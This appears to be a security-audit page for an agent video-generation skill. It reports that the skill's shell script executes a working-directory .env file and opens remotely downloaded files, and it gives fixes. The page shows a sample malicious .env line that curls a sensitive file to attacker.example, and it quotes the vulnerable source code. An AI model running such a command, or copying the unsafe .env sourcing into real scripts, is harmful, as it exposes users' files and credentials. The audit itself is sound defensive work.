Back to skill

Security audit

muapi-seedance-2

Security checks for vulnerabilities and agentic risk

Overview

This video-generation skill mostly matches its stated purpose, but it needs review because its helper script can execute a local .env file and automatically download or open remote output.

Install only if you are comfortable running a shell helper that contacts MuAPI, uploads selected local images, writes downloaded outputs, and may open generated media. Do not run it from directories containing untrusted .env files; preferably remove the automatic source .env behavior or require MUAPI_KEY through the environment before use.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/generate-seedance.sh:22
Finding
Arbitrary Shell Command Execution Through Automatic .env Sourcing<![CDATA[ ## Vulnerability Details **File Location**: `scripts/generate-seedance.sh`, line 22 **Vulnerability Type**: Untrusted configuration file execution **Risk Level**: High ### Vulnerable Code ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` ### Technical Analysis The script loads `.env` using Bash's `source` built-in. `source` does not parse the file as passive key-value configuration; it executes the file as shell code in the current process. The `.env` path is relative to the caller's current working directory rather than a trusted, script-relative configuration directory. Consequently, anyone able to place or modify `.env` in the directory from which the Skill is invoked can execute arbitrary shell commands when the script starts. Redirecting errors to `/dev/null` and appending `|| true` do not provide isolation. They only suppress failures and allow execution to continue. The `.env` file is also processed before the API-key validation and before the selected generation operation is performed. An attacker-controlled file could contain commands such as: ```bash MUAPI_KEY=dummy curl -X POST --data-binary @/path/to/sensitive-file https://attacker.example/upload ``` Any such commands would run with the environment and operating-system permissions of the user or Agent invoking the Skill. ### Attack Path 1. An attacker gains the ability to create or modify `.env` in a directory where the user or Agent may invoke the script. This could occur through a downloaded project, shared workspace, writable working directory, or malicious archive. 2. The attacker inserts shell commands into that `.env` file. 3. The user or Agent invokes `scripts/generate-seedance.sh` while the attacker-controlled directory is the current working directory. 4. Bash finds `.env` and executes it through `source`. 5. The attacker's commands inherit the invoking user's permissions, environment variables, filesystem access, and network access. 6. Execution o ...[truncated 871 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Remove automatic execution of `.env` files. Prefer requiring `MUAPI_KEY` through the existing process environment. - If dotenv support is necessary, use a parser that treats the file strictly as data rather than shell syntax. - Allowlist only expected variable names, such as `MUAPI_KEY`, and reject command substitutions, expansions, redirections, functions, and other shell constructs. - Load configuration only from a deliberate, trusted path. Do not implicitly use a file from the caller's current working directory. - Validate the configuration file's ownership and permissions before reading it when operating in a multi-user environment. - Do not suppress parsing or validation errors; fail closed with a clear diagnostic. For example, the script can require the key to be set by the caller: ```bash if [ -z "${MUAPI_KEY:-}" ]; then echo "Error: MUAPI_KEY not set" >&2 exit 1 fi ``` If a configuration file must be supported, parse only a narrowly defined `MUAPI_KEY=<value>` record without using `eval`, `source`, or equivalent shell execution mechanisms. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/generate-seedance.sh:10
Finding
Remote API Output Is Downloaded and Opened by Default<![CDATA[ ## Vulnerability Details **File Location**: `scripts/generate-seedance.sh`, line 10 and lines 147–158 **Vulnerability Type**: Unsafe default handling of remotely supplied files **Risk Level**: Medium ### Vulnerable Code The viewing behavior is enabled by default: ```bash VIEW=true ``` Completed output is then downloaded from an API-provided URL and automatically opened on macOS: ```bash if [ "$VIEW" = true ] && [ -n "$URL" ]; then local EXT="${URL##*.}" [[ "$EXT" == http* ]] && EXT="mp4" local OUTPUT_DIR OUTPUT_DIR="$(dirname "$0")/../../../../media_outputs" mkdir -p "$OUTPUT_DIR" local TEMP_FILE="$OUTPUT_DIR/muapi_$(date +%s).$EXT" [ "$JSON_ONLY" = false ] && echo "Downloading to $TEMP_FILE..." >&2 curl -s -o "$TEMP_FILE" "$URL" [[ "$OSTYPE" == "darwin"* ]] && open "$TEMP_FILE" fi ``` The command-line option only sets the already enabled value: ```bash --view) VIEW=true; shift ;; ``` ### Technical Analysis The help text presents `--view` as an optional action, but `VIEW` is initialized to `true`, and the script provides no option that changes it to `false`. Thus, synchronous image-to-video and extension jobs download returned output automatically. On macOS, the downloaded file is also opened using the application registered for its extension. The output URL is obtained from the remote API response: ```bash URL=$(echo "$RESULT" | jq -r '.outputs[0] // empty') ``` Before downloading or opening that URL, the script does not enforce: - An expected HTTPS scheme. - An allowlist of trusted output hosts. - A maximum download size. - An expected media MIME type. - File-signature validation. - A safe, fixed file extension. - Successful HTTP status handling through `curl --fail`. - Explicit user consent to open the downloaded content. The filename extension is derived directly from the URL. A compromised service, manipulated API response, or other upstream failure could therefore cause the script to retrieve un ...[truncated 1776 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Change the default to: ```bash VIEW=false ``` - Enable viewing only when the user explicitly supplies `--view`. - Provide separate `--download` and `--open` options so downloading does not automatically launch an application. - Require explicit confirmation before opening remotely obtained content, particularly in unattended Agent workflows. - Accept only HTTPS output URLs and validate the destination host against an allowlist of documented MuAPI storage domains. - Configure `curl` with secure failure behavior, redirects limited to HTTPS, timeouts, and a maximum permitted file size. - Validate both the server-reported content type and the downloaded file's signature before assigning an extension or opening it. - Use a fixed expected media extension rather than deriving an arbitrary extension from the URL. - Check the download command's exit status before invoking `open`. - Consider applying platform quarantine metadata and leaving the output unopened for user inspection. A safer download pattern should include controls equivalent to: ```bash curl --fail --show-error --location \ --proto '=https' \ --max-time 120 \ --max-filesize 524288000 \ -o "$TEMP_FILE" \ "$URL" ``` Host, MIME-type, and file-signature validation should still be performed in addition to these transport controls. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (8)

Credential Access

High
Category
Privilege Escalation
Content
MUAPI_BASE="https://api.muapi.ai/api/v1"

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
MUAPI_BASE="https://api.muapi.ai/api/v1"

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Lp3

Medium
Category
MCP Least Privilege
Confidence
93% confidence
Finding
The skill includes executable shell usage examples and operational workflows but declares no explicit tool scope such as permissions or allowed-tools. In an agent ecosystem, this creates an authorization gap where consumers may not realize the skill expects shell access, increasing the chance of unintended command execution or over-broad tool exposure.

External Transmission

Medium
Category
Data Exfiltration
Content
MAX_WAIT=600
POLL_INTERVAL=5

MUAPI_BASE="https://api.muapi.ai/api/v1"

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
PAYLOAD="{\"prompt\": $PROMPT_JSON, \"images_list\": $IMAGES_JSON, \"aspect_ratio\": \"$ASPECT\", \"duration\": $DURATION, \"quality\": \"$QUALITY\"}"

    [ "$JSON_ONLY" = false ] && echo "Submitting to seedance-v2.0-i2v (${#IMAGE_URLS[@]} image(s))..." >&2
    SUBMIT=$(curl -s -X POST "${MUAPI_BASE}/seedance-v2.0-i2v" "${HEADERS[@]}" -d "$PAYLOAD")

    if echo "$SUBMIT" | jq -e '.error // .detail' >/dev/null 2>&1; then
        ERR=$(echo "$SUBMIT" | jq -r '.error // .detail')
Confidence
70% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
fi

    [ "$JSON_ONLY" = false ] && echo "Submitting extend for request: $EXTEND_REQUEST_ID..." >&2
    SUBMIT=$(curl -s -X POST "${MUAPI_BASE}/seedance-v2.0-extend" "${HEADERS[@]}" -d "$PAYLOAD")

    if echo "$SUBMIT" | jq -e '.error // .detail' >/dev/null 2>&1; then
        ERR=$(echo "$SUBMIT" | jq -r '.error // .detail')
Confidence
70% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Intent-Code Divergence

Low
Confidence
90% confidence
Finding
The section is presented as the async usage pattern for this Seedance skill, but the follow-up command checks results with `../../../../core/media/generate-video.sh` rather than this skill's `scripts/generate-seedance.sh`. That inline documentation contradicts the surrounding instructions and could mislead users about what component actually handles Seedance job retrieval.

Context-Inappropriate Capability

Low
Confidence
77% confidence
Finding
The manifest describes a cinema-director/video-generation skill, and its core justified capability is submitting generation jobs to the Seedance API. Sourcing a local .env file to pull in environment variables is an extra credential-access behavior not mentioned in the stated purpose and is not intrinsic to directing or prompt construction itself.

Static analysis

No suspicious patterns detected.